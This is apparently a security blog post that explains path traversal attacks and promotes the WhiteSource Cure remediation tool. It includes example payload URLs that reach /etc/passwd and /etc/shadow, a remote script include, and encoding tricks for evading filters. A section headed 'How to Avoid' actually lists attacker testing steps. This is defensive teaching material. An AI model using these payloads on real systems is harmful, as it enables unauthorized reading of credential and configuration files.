Introduction
A path traversal attack (also known as directory traversing) aims to gain access to files and directories outside of the webroot. In this vulnerability, the program may disclose sensitive information if an attacker has control over file paths.
This attack is also called dot-dot-slash, directory traversal, directory climbing, and backtracking. Password files and server configuration files are examples of such files. By allowing the attacker to specify files outside the application’s root directory to the system file directories, the program enables the attacker to learn more about the system and compromise it further.
Path Traversal Vulnerability
How to Avoid
- Examine the network traffic for operations and parameters related to file operations. Reading and writing are two important skills to have. Keep an eye out for parameters with unusual file extensions.
- Attempt to utilize other successful sequences, like ….// or …./.
- If the input validation method needs a known URL, attach your traversal string to the known URL, like /var/www/assets/../../etc/passwd.
- Test to check if you can address known files using the ../ command, depending on the underlying OS (Linux, Windows). On Linux systems, for example, test for ../../../etc/passwd. This will help you figure out if any input validation routines are in use.
- To get around input validation methods, use encoding techniques.
How It Works
Suppose you have a website—http://www.sample.com and the webserver you use makes it very easy to add pages to your site—you just add them to the root directory, /var/www, on the server’s filesystem, and the rest will be sorted out.
If you add /var/www/products/table.html, any visitor to http://sample.com/products/table.html can access this page. Unfortunately, this web server is very old and traversable. This allows an attacker to travel up the directory chain and access files outside /var/www by using specific character sequences, like ../, which point to its parent directory in Unix directories.
The web server adds the user-specified relative path../../configuration.yml to the directory, holding the web page /var/www/ for the complete path /var/www/../../configuration.yml when it receives this request. On Unix-like systems, each ../ references the directory on the left. So, if we reduce the path to its simplified form, the final path will be /private/configuration.yml.
And now, a hacker has just obtained confidential information, possibly even your database credentials, and can use that information to steal user information or do further damage.
The same situation can occur even if your web server is updated and not vulnerable to attacks. You are introducing a path vulnerability in the application itself. Suppose your app is a little prettier than static pages, and each page has a PDF download link for more information. Using the same ../technique, an attacker can leave the directory containing the PDF files and access whatever they want on the system.
Sample Vulnerable Code
Scenario 1- Access files
The following examples demonstrate how the program handles the available resources.
http://example.com/get-file.jsp?file=report.pdf
http://example.com/get-page.php?home=aaa.html
http://example.com/some-page.asp?page=index.html
It’s possible to use a malicious string as the variable parameter in these instances to access files that aren’t in the web publish directory.
http://example.com/get-file?file=../../../../some dir/some file
http://example.com/../../../../some dir/some file
Examples of *NIX password file exploitation may be found in the following URLs.
http://example.com/../../../../etc/shadow
http://example.com/get-file?file=/etc/passwd
Note that on a Windows machine, an attacker can only access a partition that contains the webroot. But on a Linux system, they can access the whole drive.
Scenario 2- Run third party-script
It’s also possible to add files and scripts from a third-party website.
http://example.com/get-page?page=http://other-site.com.br/other-page.htm/malicius-code.php
Scenario 3- Expose source code
These examples depict a scenario in which an attacker forced the server to display the CGI source code.
http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi
Scenario 4- Absolute path traversal
This exploit may be susceptible to the following URLs:
http://example.com/get.php?f=list
http://example.com/get.cgi?f=2
http://example.com/get.asp?f=test
This assault can be carried out in the following way:
http://example.com/get.php?f=/var/www/html/get.php
http://example.com/get.cgi?f=/var/www/html/admin/get.inc
http://example.com/get.asp?f=/etc/passwd
It is considerably easier for an attacker to predict the right locations when a web server delivers information about failures in a web application, such as displaying the path to the file with a source code.
Remediation and WhiteSource Cure
How do you ensure your code is not vulnerable?
- Make sure you understand how the underlying operating system will handle file names passed to it.
- Do not store sensitive configuration files on the root of the network.
- For Windows IIS servers, the webroot must not be on the system drive to prevent recursive navigation to system directories.
Many businesses are attempting to move application security responsibilities farther left toward developers. This will reduce the number of vulnerabilities that may need to be addressed immediately before or after an application is deployed in an on-premises IT environment.
WhiteSource Cure is a free to use auto-remediation tool built specifically for bespoke code. This next-generation tool enables companies to increase the speed with which safe software is delivered at scale. I discovered WS Cure through some Googling for easier remediation possibilities and found it as it’s free to use for developers.
Something I like about Cure is that it provides an auto-generated executable remediation report after scanning your code. In this case, it includes all path traversal vulnerabilities detected in your code. It then generates repair proposals for vulnerabilities in your code that are immediately remedied as if they were written by you. Its recommendations are case-specific, precise, and simple to use, saving you time and encouraging secure code.
Remediating Path Traversal Using WhiteSource Cure
WhiteSource Cure identifies the appropriate user-given input to be sanitized using static code insights from the detected file.
Path Traversal
Vulnerable code 1:
include("../resources/skins/../../../etc/passwd"); https://www.example.com/show_file.php?file=report.txt
Remediation:
If you must utilise user input to generate file names or paths, make sure they are properly sanitised by whitelisting allowed names and/or characters. It is not advised to blacklist characters to filter out ../ and similar strings because there are several methods to get around it.
There are also several methods to encode the path traversal string to avoid basic character filtering, such as writing ../ in URL encoding as %2e%2e%2f. Some other examples are
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
Vulnerable code 2:
public Response getImage(@javax.ws.rs.PathParam(“image”) String image) {
File file = new File(“resources/images/“, image);
Remediated code:
public Response getImage(@javax.ws.rs.PathParam(“image”) String image) {
File file = new File(“resources/images/“, FilenameUtils.getName(image));
To mitigate the risk of directly passing un-sanitized data into the file API
Vulnerable code 3:
File file = new File(BASE_DIRECTORY, userInput); // process file
Remediated code:
File file = new File(BASE_DIRECTORY, userInput); if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) { // process file }
Validate the canonical path of a file based on user input, if the canonical and absolute paths match then the code should proceed.
Conclusion
In a path traversal attack, the attacker can access any files and directories stored in the file system, including source code or application configuration, by manipulating the file-related variables with sequences and variants or using absolute file paths. Remember that operating system access control restricts access to files (for example, in the case of locked or unused files in the Microsoft Windows operating system).
Thus, addressing these vulnerabilities is very important. Additionally, using tools like Cure to make the process more seamless, less error-prone, and comprehensive is always a good idea.
1 comment
htr
Comments are closed.